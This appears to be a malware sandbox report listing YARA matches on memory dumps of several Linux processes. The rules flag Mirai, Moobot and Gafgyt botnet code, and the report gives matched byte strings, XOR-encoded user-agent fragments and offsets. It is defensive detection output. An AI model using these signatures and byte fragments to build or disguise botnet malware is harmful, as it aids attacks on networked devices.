6994.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6994.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6994.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6994.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6994.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6994.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6358.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6358.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6358.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6358.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6358.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6358.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7181.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7181.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7181.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7181.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7181.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7181.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6732.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6732.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6732.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6732.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6732.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6732.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7403.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6823.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6443.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7287.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7287.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7287.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7287.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7287.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7287.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6486.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6486.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6486.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6486.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6486.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
